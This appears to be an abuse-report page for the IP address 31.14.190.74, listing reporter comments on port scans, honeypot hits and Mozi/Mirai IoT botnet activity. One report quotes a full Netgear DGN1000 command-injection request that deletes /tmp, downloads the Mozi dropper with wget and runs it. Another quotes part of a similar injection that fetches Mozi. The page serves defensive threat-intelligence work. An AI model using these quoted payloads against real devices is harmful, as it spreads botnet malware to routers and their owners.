JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

31.14.190.74

Recent Activity

Abuse Confidence Score

45% Elevated

54 reports

33 reporters · latest 5 days ago

ISP: Neomedia S.r.l.
Usage Type: Fixed Line ISP
ASN: AS206617
Domain Name: neomedia.it
Country: 🇮🇹 Italy
City: Sciacca, Sicily

ISP, Usage Type, and Location provided by IPInfo. Updated weekly.

Report Whois

Example preview

Account required for the enhanced features Log in Sign up

Abuse Reports

Export reports CSV

Total reports

54 from 33 distinct reporters

First reported

January 19th 2026

Most recent report

5 days ago

Last 60 days

Top reporter locations 🇺🇸 United States of America 3 🇩🇪 Germany 2 🇧🇷 Brazil 1

Most common categories Port Scan 5 Web App Attack 3 Hacking 3 Exploited Host 1

Recent reports We have received reports of abusive activity from this IP address within the last week. It is potentially still actively engaged in abusive activities.

Reporter	IoA Timestamp (UTC)	Comment	Categories
🇫🇮 mikkopal88	2026-11-10 01:05:20 UTC · (5 days ago)	TCP SYN port scan to HTTP 80-443-8080	Port Scan
🇺🇸 MPL	2026-11-07 15:53:58 UTC · (1 week ago)	tcp/1023	Port Scan
🇺🇸 xmission.com	2026-11-06 23:20:34 UTC · (1 week ago)	Blocked by UFW (TCP on 80) Source port: 51092 TTL: 48 Packet length: 60 TOS: 0x00 This report (for 31.14.190.74) was generated by: https://github.com/sefinek/UFW-AbuseIPDB-Reporter	Port Scan Web App Attack
🇺🇸 grassyloki	2026-11-06 07:53:00 UTC · (1 week ago)	Sent a Netgear DGN1000 router command-injection exploit request that attempted to download and execute the Mozi malware dropper from the same address, against a public web service on port 80. Target: HTTP 80, GET /setup.cgi?next_file=netgear.cfg&todo ... show more Sent a Netgear DGN1000 router command-injection exploit request that attempted to download and execute the Mozi malware dropper from the same address, against a public web service on port 80. Target: HTTP 80, GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm -rf /tmp/;wget http://31.14.190.74:57117/Mozi.m -O /tmp/netgear;sh netgear Seen: 2026-11-06 02:53 EST - 02:53:27 GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/;wget+http://31.14.190.74:57117/Mozi.m+-O+/tmp/netgear;sh+netgear HTTP/1.0 with no User-Agent; connection dropped with no response served - 02:53:27 IDS signatures 1:44687 and 1:44688 fired: Netgear DGN1000 authentication bypass attempt and arbitrary command execution attempt, priority 1 - 02:53:26-02:54:36 repeated TCP connections from the same source port 48765 to destination port 80 show less	Hacking Web App Attack
🇧🇷 ICS Labs	2026-11-05 13:20:40 UTC · (1 week ago)	ICS Labs threat intelligence (ICS Feeds): Hacking. Last observed 2026-11-05 UTC.	Hacking
Anonymous	2026-11-05 12:11:12 UTC · (1 week ago)	denied traffic to a honeypot network. destination port 80.	Port Scan Hacking
Anonymous	2026-11-05 08:07:50 UTC · (1 week ago)	Unauthorized access (80/tcp/http)	Port Scan Web App Attack
🇸🇪 warriors	2026-11-04 22:45:08 UTC · (1 week ago)	Telnet honeypot observed this address advertised as a potential malware payload host in 5 compromise sessions from 1 source IP. Transfer methods: curl, wget. Observed ports: 57117. Requested paths: /bin.sh. Payload hosting was not independently verif ... show more Telnet honeypot observed this address advertised as a potential malware payload host in 5 compromise sessions from 1 source IP. Transfer methods: curl, wget. Observed ports: 57117. Requested paths: /bin.sh. Payload hosting was not independently verified. show less	Exploited Host
🇩🇪 SMARTNET	2026-05-27 06:03:53 UTC · (5 months ago)	Aisuru(Mirai variant) DDoS \| Incident ID: 22ada211-5b5c-463a-b46f-60fd11dc639d	DDoS Attack
🇬🇧 PeravixGroup	2026-05-20 20:43:22 UTC · (5 months ago)	Honeypot detection: Mozi IoT botnet payload delivery / infection attempt on port 8080. Severity: CRITICAL. Aaran.cloud	Hacking IoT Targeted
🇬🇧 PeravixGroup	2026-04-28 15:17:51 UTC · (6 months ago)	Honeypot detection: Mozi IoT botnet payload delivery / infection attempt on port 8080. Severity: CRITICAL. Aaran.cloud	Hacking IoT Targeted
🇬🇧 PeravixGroup	2026-04-22 18:00:07 UTC · (6 months ago)	HoneyPot hit - Aaran.cloud \| Rce Attempt \| command injection \| GET /boaform/admin/formLogin?username=user&psd=user HTTP/1.0 20http://%s:%d/Mozi.m%20-O%20->%20/tmp/	Web App Attack
🇺🇸 MPL	2026-04-20 22:40:41 UTC · (6 months ago)	tcp/80 (4 or more attempts)	Port Scan
🇫🇮 tjs	2026-04-19 21:25:00 UTC · (6 months ago)	web attack	Hacking Web App Attack
🇧🇷 SOC PR	2026-04-13 19:37:31 UTC · (7 months ago)	IPS: Command Injection Over HTTP.	Web App Attack

Showing 1 to 15 of 54 reports

Think this IP has been falsely reported? You may request to have the associated reports reviewed and removed. Request Takedown

Recently Reported IPs:

🇲🇦 196.77.56.43

🇲🇾 47.250.55.156

🇨🇳 223.86.21.149

🇳🇱 193.47.62.69

🇲🇽 187.149.79.248

🇯🇵 172.105.218.40

🇫🇷 169.58.109.98

🇺🇸 143.198.127.154

🇮🇩 103.159.199.43

🇧🇬 80.66.66.68

🇮🇶 65.20.202.4

🇮🇶 65.20.198.159

🇮🇶 65.20.187.47

🇨🇳 60.214.127.246

🇪🇸 34.175.135.75

🇧🇷 177.45.72.118

🇺🇸 146.168.191.176

🇨🇳 111.32.153.180

🇮🇶 65.20.179.251

🇮🇶 65.20.168.147